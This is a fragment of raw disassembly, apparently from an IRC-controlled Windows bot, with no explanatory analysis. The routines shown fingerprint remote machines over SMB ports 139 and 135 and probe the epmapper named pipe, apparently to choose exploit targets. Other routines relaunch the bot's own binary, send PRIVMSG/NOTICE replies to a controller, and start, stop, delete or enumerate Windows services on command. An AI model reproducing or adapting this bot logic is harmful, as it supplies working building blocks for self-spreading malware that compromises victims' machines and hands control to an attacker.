CODE XREF: sub_40AC2A+54j push esi call sub_413E90 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_40AC6F loc_40ACA3: ; CODE XREF: sub_40AC2A+43j push edi call sub_413F7F pop ecx pop edi pop esi loc_40ACAC: ; CODE XREF: sub_40AC2A+1Fj pop ebx pop ebp retn sub_40AC2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ACAF proc near ; DATA XREF: sub_40C2D0+14o var_2B8 = dword ptr -2B8h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_452134 call dword_44CD70 ; closesocket call sub_413487 call dword_44CC48 ; WSACleanup call dword_44CC48 ; WSACleanup mov ebx, ds:dword_41F050 push 64h call ebx ; Sleep xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_413890 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_413890 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_438A10 mov [ebp+var_28], 1 mov [ebp+var_24], di call ds:dword_41F0FC ; GetSystemDirectoryA lea eax, [ebp+var_158] push esi push eax push edi call ds:dword_41F060 ; GetModuleFileNameA lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call ds:dword_41F0D4 ; CreateProcessA test eax, eax jz short loc_40AD74 push 64h call ebx ; Sleep push [ebp+var_10] mov esi, ds:dword_41F058 call esi ; CloseHandle push [ebp+var_C] call esi ; CloseHandle loc_40AD74: ; CODE XREF: sub_40ACAF+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_450FE0 mov eax, [esp+2B8h+var_2B8] mov large fs:0, eax add esp, 8 push edi call ds:off_41F104 pop edi pop esi pop ebx sub_40ACAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD97 proc near ; CODE XREF: sub_40ADCF+2FBp ; sub_40ADCF+31Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_40ADC5 loc_40ADA8: ; CODE XREF: sub_40AD97+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_415AE0 add esp, 0Ch test eax, eax jz short loc_40ADCB inc esi cmp esi, edi jl short loc_40ADA8 loc_40ADC5: ; CODE XREF: sub_40AD97+Fj xor al, al loc_40ADC7: ; CODE XREF: sub_40AD97+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_40ADCB: ; CODE XREF: sub_40AD97+27j mov al, 1 jmp short loc_40ADC7 sub_40AD97 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADCF proc near ; CODE XREF: .text:0040357Bp ; .text:00403592p ... var_2614 = byte ptr -2614h var_2613 = byte ptr -2613h var_2612 = byte ptr -2612h var_614 = byte ptr -614h var_414 = byte ptr -414h var_214 = byte ptr -214h var_118 = byte ptr -118h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2614h call sub_413E60 mov eax, [ebp+arg_4] push ebx push esi dec eax push edi jz loc_40B140 dec eax jz loc_40B11B dec eax jz short loc_40AE72 dec eax jz loc_40B008 dec eax jnz short loc_40AE72 push 6 push 1 push 2 call dword_44CD58 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_40AE72 xor ebx, ebx push 10h lea eax, [ebp+var_14] push ebx push eax call sub_413890 add esp, 0Ch mov [ebp+var_14], 2 push 8Bh call dword_44CCDC ; ntohs push [ebp+arg_0] mov [ebp+var_12], ax call sub_408947 pop ecx mov [ebp+var_10], eax lea eax, [ebp+var_14] push 10h push eax push esi call dword_44CC88 ; connect cmp eax, edi jz short loc_40AE72 push ebx push 48h push offset unk_429380 push esi call dword_44CD28 ; send cmp eax, edi jnz short loc_40AE79 push esi loc_40AE6C: ; CODE XREF: sub_40ADCF+11Ej call dword_44CD70 ; closesocket loc_40AE72: ; CODE XREF: sub_40ADCF+22j ; sub_40ADCF+2Cj ... xor eax, eax loc_40AE74: ; CODE XREF: sub_40ADCF+215j ; sub_40ADCF+234j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AE79: ; CODE XREF: sub_40ADCF+9Aj mov esi, 2000h push ebx lea eax, [ebp+var_2614] push esi push eax push [ebp+arg_4] call dword_44CCF4 ; recv cmp eax, edi jz short loc_40AEEA push ebx push 33h push offset dword_4293CC push [ebp+arg_4] call dword_44CD28 ; send cmp eax, edi jz short loc_40AEEA push ebx lea eax, [ebp+var_2614] push esi push eax push [ebp+arg_4] call dword_44CCF4 ; recv cmp eax, edi jz short loc_40AEEA push ebx push 4Ch push offset dword_429400 push [ebp+arg_4] call dword_44CD28 ; send cmp eax, edi jz short loc_40AEEA push ebx lea eax, [ebp+var_2614] push esi push eax push [ebp+arg_4] call dword_44CCF4 ; recv cmp eax, edi jnz short loc_40AEF2 loc_40AEEA: ; CODE XREF: sub_40ADCF+C3j ; sub_40ADCF+D8j ... push [ebp+arg_4] jmp loc_40AE6C ; --------------------------------------------------------------------------- loc_40AEF2: ; CODE XREF: sub_40ADCF+119j lea esi, [eax-2] mov [ebp+arg_0], ebx cmp esi, ebx jle short loc_40AF45 lea edi, [ebp+esi+var_2613] loc_40AF03: ; CODE XREF: sub_40ADCF+174j cmp [ebp+arg_0], 4 jge short loc_40AF45 cmp [edi-1], bl jnz short loc_40AF3F mov eax, [ebp+arg_0] sub eax, ebx jz short loc_40AF2D dec eax jz short loc_40AF24 dec eax jnz short loc_40AF3C push edi lea eax, [ebp+var_414] jmp short loc_40AF34 ; --------------------------------------------------------------------------- loc_40AF24: ; CODE XREF: sub_40ADCF+147j push edi lea eax, [ebp+var_214] jmp short loc_40AF34 ; --------------------------------------------------------------------------- loc_40AF2D: ; CODE XREF: sub_40ADCF+144j push edi lea eax, [ebp+var_614] loc_40AF34: ; CODE XREF: sub_40ADCF+153j ; sub_40ADCF+15Cj push eax call sub_414FB0 pop ecx pop ecx loc_40AF3C: ; CODE XREF: sub_40ADCF+14Aj inc [ebp+arg_0] loc_40AF3F: ; CODE XREF: sub_40ADCF+13Dj dec esi dec edi cmp esi, ebx jg short loc_40AF03 loc_40AF45: ; CODE XREF: sub_40ADCF+12Bj ; sub_40ADCF+138j push [ebp+arg_4] call dword_44CD70 ; closesocket lea eax, [ebp+var_214] push eax push offset aWindowsServer2 ; "Windows Server 2003 *.*" call sub_413617 pop ecx test eax, eax pop ecx jz short loc_40AF69 push 4 jmp short loc_40AFE3 ; --------------------------------------------------------------------------- loc_40AF69: ; CODE XREF: sub_40ADCF+194j lea eax, [ebp+var_214] push eax push offset aNtLanManager_ ; "NT LAN Manager *.*" call sub_413617 pop ecx test eax, eax pop ecx jz short loc_40AF84 push 1 jmp short loc_40AFE3 ; --------------------------------------------------------------------------- loc_40AF84: ; CODE XREF: sub_40ADCF+1AFj lea eax, [ebp+var_214] mov esi, offset aWindows2000Lan ; "Windows 2000 LAN Manager*" push eax push esi call sub_413617 pop ecx test eax, eax pop ecx jz short loc_40AFB7 lea eax, [ebp+var_414] push eax push offset aWindows5_0 ; "Windows 5.0" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40AFB7 push 2 jmp short loc_40AFE3 ; --------------------------------------------------------------------------- loc_40AFB7: ; CODE XREF: sub_40ADCF+1CBj ; sub_40ADCF+1E2j lea eax, [ebp+var_214] push eax push esi call sub_413617 pop ecx test eax, eax pop ecx jz short loc_40AFE9 lea eax, [ebp+var_414] push eax push offset aWindows5_1 ; "Windows 5.1" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40AFE9 push 3 loc_40AFE3: ; CODE XREF: sub_40ADCF+198j ; sub_40ADCF+1B3j ... pop eax jmp loc_40AE74 ; --------------------------------------------------------------------------- loc_40AFE9: ; CODE XREF: sub_40ADCF+1F9j ; sub_40ADCF+210j lea eax, [ebp+var_214] push eax push offset aSamba ; "Samba *" call sub_413617 neg eax pop ecx sbb eax, eax pop ecx and eax, 5 jmp loc_40AE74 ; --------------------------------------------------------------------------- loc_40B008: ; CODE XREF: sub_40ADCF+25j push [ebp+arg_0] mov esi, 104h lea eax, [ebp+var_118] xor edi, edi push offset aS_3 ; "\\\\%s\\" push esi push eax xor ebx, ebx mov [ebp+var_4], edi call sub_413D8A push esi lea eax, [ebp+var_118] push offset aPipeEpmapper ; "pipe\\epmapper" push eax call sub_415310 add esp, 1Ch lea eax, [ebp+var_118] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call ds:dword_41F05C ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_4], eax jz loc_40B114 mov edi, 186A0h push edi call sub_413F0B mov esi, eax push edi push ebx push esi call sub_413890 add esp, 10h lea eax, [ebp+arg_0] mov edi, ds:off_41F108 push ebx push eax push 2710h push esi push 48h push offset dword_4292F0 push [ebp+arg_4] call edi ; sub_74AC58 cmp byte ptr [esi+2], 0Ch jnz short loc_40B101 lea eax, [ebp+arg_0] push ebx push eax push 2710h push esi push 18h push offset dword_42933C push [ebp+arg_4] call edi ; sub_74AC58 cmp byte ptr [esi+2], 2 jnz short loc_40B101 push 10h push offset dword_429358 push [ebp+arg_0] push esi call sub_40AD97 add esp, 10h test al, al jz short loc_40B0E3 cmp [ebp+arg_0], 12Ch sbb edi, edi inc edi inc edi jmp short loc_40B104 ; --------------------------------------------------------------------------- loc_40B0E3: ; CODE XREF: sub_40ADCF+305j push 10h push offset dword_42936C push [ebp+arg_0] push esi call sub_40AD97 add esp, 10h neg al sbb eax, eax and eax, 3 mov edi, eax jmp short loc_40B104 ; --------------------------------------------------------------------------- loc_40B101: ; CODE XREF: sub_40ADCF+2D1j ; sub_40ADCF+2EEj mov edi, [ebp+var_4] loc_40B104: ; CODE XREF: sub_40ADCF+312j ; sub_40ADCF+330j push esi call sub_413F7F pop ecx push [ebp+arg_4] call ds:dword_41F058 ; CloseHandle loc_40B114: ; CODE XREF: sub_40ADCF+292j mov eax, edi jmp loc_40AE74 ; --------------------------------------------------------------------------- loc_40B11B: ; CODE XREF: sub_40ADCF+1Bj push 3 push 1388h push [ebp+arg_0] call dword_44CD18 ; inet_addr push eax call sub_4064D1 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp loc_40AE74 ; --------------------------------------------------------------------------- loc_40B140: ; CODE XREF: sub_40ADCF+14j push 6 push 1 push 2 call dword_44CD58 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz loc_40AE72 xor ebx, ebx push 10h lea eax, [ebp+var_14] push ebx push eax call sub_413890 add esp, 0Ch mov [ebp+var_14], 2 push 87h call dword_44CCDC ; ntohs push [ebp+arg_0] mov [ebp+var_12], ax call sub_408947 pop ecx mov [ebp+var_10], eax lea eax, [ebp+var_14] push 10h push eax push esi call dword_44CC88 ; connect cmp eax, edi jz loc_40B25F push ebx push 48h push offset dword_4292F0 push esi call dword_44CD28 ; send cmp eax, edi jz loc_40B25F mov esi, 2000h push ebx lea eax, [ebp+var_2614] push esi push eax push [ebp+arg_4] call dword_44CCF4 ; recv cmp eax, edi jz loc_40B25F cmp [ebp+var_2612], 0Ch jnz short loc_40B25F push ebx push 18h push offset dword_42933C push [ebp+arg_4] call dword_44CD28 ; send cmp eax, edi jz short loc_40B25F push ebx lea eax, [ebp+var_2614] push esi push eax push [ebp+arg_4] call dword_44CCF4 ; recv mov esi, eax cmp esi, edi jz short loc_40B25F cmp [ebp+var_2612], 2 jnz short loc_40B25F push 10h push offset dword_429358 lea eax, [ebp+var_2614] push esi push eax call sub_40AD97 add esp, 10h test al, al jz short loc_40B23F cmp esi, 12Ch setnl bl inc ebx jmp short loc_40B25F ; --------------------------------------------------------------------------- loc_40B23F: ; CODE XREF: sub_40ADCF+462j push 10h push offset dword_42936C lea eax, [ebp+var_2614] push esi push eax call sub_40AD97 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_40B25F: ; CODE XREF: sub_40ADCF+3CEj ; sub_40ADCF+3E5j ... push [ebp+arg_4] call dword_44CD70 ; closesocket mov eax, ebx jmp loc_40AE74 sub_40ADCF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B26F proc near ; CODE XREF: sub_40CA91+3Dp ; sub_40CC09+1CBp ... var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 100h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_100] push [ebp+arg_4] push 0FFh push eax call sub_41576F add esp, 10h lea eax, [ebp+var_100] push 0 push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_100] push eax push [ebp+arg_0] call dword_44CD28 ; send leave retn sub_40B26F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2B5 proc near ; CODE XREF: sub_401000+88p ; sub_401447+77p ... var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 200h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_40B2D0 mov edi, offset aPrivmsg ; "PRIVMSG" loc_40B2D0: ; CODE XREF: sub_40B2B5+14j push edi call sub_413E90 push [ebp+arg_4] mov esi, 0F9h sub esi, eax call sub_413E90 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_200] push offset aS_2 ; "%s" push esi push eax call sub_413D8A lea eax, [ebp+var_200] push eax lea eax, [ebp+var_100] push [ebp+arg_4] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_413812 add esp, 2Ch lea eax, [ebp+var_100] push 0 push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_100] push eax push [ebp+arg_0] call dword_44CD28 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_40B34E push 7D0h call ds:dword_41F050 ; Sleep locret_40B34E: ; CODE XREF: sub_40B2B5+8Cj leave retn sub_40B2B5 endp ; =============== S U B R O U T I N E ======================================= sub_40B350 proc near ; CODE XREF: sub_40CC09:loc_40E863p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_40B3B5 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4294F8[esi] push edi push eax call sub_40B3D7 add esp, 14h test eax, eax jnz short loc_40B398 push edi push off_4294F4[esi] mov esi, offset dword_4513A4 push offset unk_42962C push esi call sub_413812 add esp, 10h jmp short loc_40B3D2 ; --------------------------------------------------------------------------- loc_40B398: ; CODE XREF: sub_40B350+2Aj push eax call sub_40B479 push eax push edi mov esi, offset dword_4513A4 push offset unk_4295F0 push esi call sub_413812 add esp, 14h jmp short loc_40B3D2 ; --------------------------------------------------------------------------- loc_40B3B5: ; CODE XREF: sub_40B350+Cj lea eax, [eax+eax*2] mov esi, offset dword_4513A4 push off_4294F0[eax*4] push offset unk_4295B8 push esi call sub_413812 add esp, 0Ch loc_40B3D2: ; CODE XREF: sub_40B350+46j ; sub_40B350+63j mov eax, esi pop edi pop esi retn sub_40B350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B3D7 proc near ; CODE XREF: sub_40B350+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_44CCD0 ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_40B3FE call ds:off_41F06C mov ebx, eax jmp short loc_40B473 ; --------------------------------------------------------------------------- loc_40B3FE: ; CODE XREF: sub_40B3D7+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_44CBD4 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_40B41E call ds:off_41F06C mov ebx, eax jmp short loc_40B46B ; --------------------------------------------------------------------------- loc_40B41E: ; CODE XREF: sub_40B3D7+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_40B451 cmp eax, 3 jz short loc_40B442 jle short loc_40B464 cmp eax, 6 jg short loc_40B464 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_44CC3C ; ControlService jmp short loc_40B458 ; --------------------------------------------------------------------------- loc_40B442: ; CODE XREF: sub_40B3D7+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_44CBDC ; StartServiceA jmp short loc_40B458 ; --------------------------------------------------------------------------- loc_40B451: ; CODE XREF: sub_40B3D7+4Dj push esi call dword_44CC40 ; DeleteService loc_40B458: ; CODE XREF: sub_40B3D7+69j ; sub_40B3D7+78j test eax, eax jnz short loc_40B464 call ds:off_41F06C mov ebx, eax loc_40B464: ; CODE XREF: sub_40B3D7+54j ; sub_40B3D7+59j ... push esi call dword_44CBF0 ; CloseServiceHandle loc_40B46B: ; CODE XREF: sub_40B3D7+45j push edi call dword_44CBF0 ; CloseServiceHandle pop esi loc_40B473: ; CODE XREF: sub_40B3D7+25j mov eax, ebx pop edi pop ebx leave retn sub_40B3D7 endp ; =============== S U B R O U T I N E ======================================= sub_40B479 proc near ; CODE XREF: sub_40B350+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_40B52E jz loc_40B527 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_40B4F1 jz short loc_40B4E7 mov ecx, eax sub ecx, 3 jz short loc_40B4DD dec ecx dec ecx jz short loc_40B4D3 dec ecx jz short loc_40B4C9 sub ecx, 51h jz short loc_40B4BF sub ecx, 24h jnz loc_40B5A4 ; default ; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_40B596 ; --------------------------------------------------------------------------- loc_40B4BF: ; CODE XREF: sub_40B479+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40B596 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B479+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40B596 ; --------------------------------------------------------------------------- loc_40B4D3: ; CODE XREF: sub_40B479+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40B596 ; --------------------------------------------------------------------------- loc_40B4DD: ; CODE XREF: sub_40B479+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40B596 ; --------------------------------------------------------------------------- loc_40B4E7: ; CODE XREF: sub_40B479+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40B596 ; --------------------------------------------------------------------------- loc_40B4F1: ; CODE XREF: sub_40B479+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40B520 dec ecx jz short loc_40B519 dec ecx jz short loc_40B512 dec ecx jnz loc_40B5A4 ; default ; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40B596 ; --------------------------------------------------------------------------- loc_40B512: ; CODE XREF: sub_40B479+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B519: ; CODE XREF: sub_40B479+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B520: ; CODE XREF: sub_40B479+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B527: ; CODE XREF: sub_40B479+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B52E: ; CODE XREF: sub_40B479+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40B5A4 ; default ; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16 jz short loc_40B591 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40B5A4 ; default ; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16 movzx ecx, ds:byte_40B5E5[ecx] jmp ds:off_40B5BD[ecx*4] ; switch jump loc_40B552: ; DATA XREF: .text:off_40B5BDo push offset aTheSpecifiedDa ; jumptable 0040B54B case 7 jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B559: ; CODE XREF: sub_40B479+D2j ; DATA XREF: .text:off_40B5BDo push offset aTheServiceDepe ; jumptable 0040B54B case 17 jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B560: ; CODE XREF: sub_40B479+D2j ; DATA XREF: .text:off_40B5BDo push offset aTheServiceDe_0 ; jumptable 0040B54B case 10 jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B567: ; CODE XREF: sub_40B479+D2j ; DATA XREF: .text:off_40B5BDo push offset aTheServiceHasB ; jumptable 0040B54B case 0 jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B56E: ; CODE XREF: sub_40B479+D2j ; DATA XREF: .text:off_40B5BDo push offset aTheSpecified_0 ; jumptable 0040B54B case 2 jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B575: ; CODE XREF: sub_40B479+D2j ; DATA XREF: .text:off_40B5BDo push offset aTheServiceCoul ; jumptable 0040B54B case 11 jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B57C: ; CODE XREF: sub_40B479+D2j ; DATA XREF: .text:off_40B5BDo push offset aTheServiceHa_0 ; jumptable 0040B54B case 14 jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B583: ; CODE XREF: sub_40B479+D2j ; DATA XREF: .text:off_40B5BDo push offset aTheRequested_1 ; jumptable 0040B54B case 3 jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B58A: ; CODE XREF: sub_40B479+D2j ; DATA XREF: .text:off_40B5BDo push offset aTheServiceHasN ; jumptable 0040B54B case 4 jmp short loc_40B596 ; --------------------------------------------------------------------------- loc_40B591: ; CODE XREF: sub_40B479+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40B596: ; CODE XREF: sub_40B479+41j ; sub_40B479+4Bj ... push offset dword_450FE8 call sub_413812 pop ecx pop ecx jmp short loc_40B5B7 ; --------------------------------------------------------------------------- loc_40B5A4: ; CODE XREF: sub_40B479+36j ; sub_40B479+89j ... push eax ; default ; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_450FE8 call sub_413812 add esp, 0Ch loc_40B5B7: ; CODE XREF: sub_40B479+129j mov eax, offset dword_450FE8 retn sub_40B479 endp ; --------------------------------------------------------------------------- off_40B5BD dd offset loc_40B567 ; DATA XREF: sub_40B479+D2r dd offset loc_40B56E ; jump table for switch statement dd offset loc_40B583 dd offset loc_40B58A dd offset loc_40B552 dd offset loc_40B560 dd offset loc_40B575 dd offset loc_40B57C dd offset loc_40B559 dd offset loc_40B5A4 byte_40B5E5 db 0, 9, 1, 2 ; DATA XREF: sub_40B479+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5F7 proc near ; CODE XREF: sub_40CC09+1C85p var_28C = byte ptr -28Ch var_288 = byte ptr -288h var_124 = byte ptr -124h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_44CCD0 ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 14h loc_40B62F: ; CODE XREF: sub_40B5F7+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_28C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_44CCA0 ; EnumServicesStatusA test eax, eax jnz short loc_40B669 call ds:off_41F06C cmp eax, 0EAh jnz loc_40B71D loc_40B669: ; CODE XREF: sub_40B5F7+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40B714 lea esi, [ebp+var_288] loc_40B67A: ; CODE XREF: sub_40B5F7+117j mov eax, [esi+8] dec eax jz short loc_40B6C3 dec eax jz short loc_40B6BC dec eax jz short loc_40B6B5 dec eax jz short loc_40B6AE dec eax jz short loc_40B6A7 dec eax jz short loc_40B6A0 dec eax jz short loc_40B699 push offset aUnknown_0 ; " Unknown" jmp short loc_40B6C8 ; --------------------------------------------------------------------------- loc_40B699: ; CODE XREF: sub_40B5F7+99j push offset aPaused ; " Paused" jmp short loc_40B6C8 ; --------------------------------------------------------------------------- loc_40B6A0: ; CODE XREF: sub_40B5F7+96j push offset aPausing ; " Pausing" jmp short loc_40B6C8 ; --------------------------------------------------------------------------- loc_40B6A7: ; CODE XREF: sub_40B5F7+93j push offset aContinuing ; " Continuing" jmp short loc_40B6C8 ; --------------------------------------------------------------------------- loc_40B6AE: ; CODE XREF: sub_40B5F7+90j push offset aRunning ; " Running" jmp short loc_40B6C8 ; --------------------------------------------------------------------------- loc_40B6B5: ; CODE XREF: sub_40B5F7+8Dj push offset aStoping ; " Stoping" jmp short loc_40B6C8 ; --------------------------------------------------------------------------- loc_40B6BC: ; CODE XREF: sub_40B5F7+8Aj push offset aStarting ; " Starting" jmp short loc_40B6C8 ; --------------------------------------------------------------------------- loc_40B6C3: ; CODE XREF: sub_40B5F7+87j push offset aStopped ; " Stopped" loc_40B6C8: ; CODE XREF: sub_40B5F7+A0j ; sub_40B5F7+A7j ... lea eax, [ebp+var_20] push eax call sub_413812 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_124] push offset aSSS_0 ; "%s: %s (%s)" push eax call sub_413812 push 1 lea eax, [ebp+var_124] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40B67A loc_40B714: ; CODE XREF: sub_40B5F7+77j cmp [ebp+var_8], ebx jnz loc_40B62F loc_40B71D: ; CODE XREF: sub_40B5F7+6Cj push [ebp+var_C] call dword_44CBF0 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40B5F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B734 proc near ; CODE XREF: sub_40CC09:loc_40E945p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40B7CD mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40B75D dec eax jnz short loc_40B7AD push edi push 0 call sub_40B906 pop ecx pop ecx jmp short loc_40B7A9 ; --------------------------------------------------------------------------- loc_40B75D: ; CODE XREF: sub_40B734+18j cmp [ebp+arg_8], 0 jnz short loc_40B79B push 24h push edi call sub_415BA0 pop ecx test eax, eax pop ecx jnz short loc_40B79B push 57h pop eax loc_40B774: ; CODE XREF: sub_40B734+77j push eax call sub_40C0DE push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4511A4 push off_4294F0[eax*4] push offset unk_429BFC push esi call sub_413812 add esp, 18h jmp short loc_40B7ED ; --------------------------------------------------------------------------- loc_40B79B: ; CODE XREF: sub_40B734+2Dj ; sub_40B734+3Bj push [ebp+arg_8] push edi push 0 call sub_40B85A add esp, 0Ch loc_40B7A9: ; CODE XREF: sub_40B734+27j test eax, eax jnz short loc_40B774 loc_40B7AD: ; CODE XREF: sub_40B734+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4511A4 push off_4294F4[eax*4] push offset unk_429BCC push esi call sub_413812 add esp, 10h jmp short loc_40B7ED ; --------------------------------------------------------------------------- loc_40B7CD: ; CODE XREF: sub_40B734+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4511A4 lea eax, [eax+eax*2] push off_4294F0[eax*4] push offset unk_429B94 push esi call sub_413812 add esp, 0Ch loc_40B7ED: ; CODE XREF: sub_40B734+65j ; sub_40B734+97j mov eax, esi pop edi pop esi pop ebp retn sub_40B734 endp ; =============== S U B R O U T I N E ======================================= sub_40B7F3 proc near ; CODE XREF: .text:00412F23p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40B800 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40B800: ; CODE XREF: sub_40B7F3+7j push ebx push ebp push edi 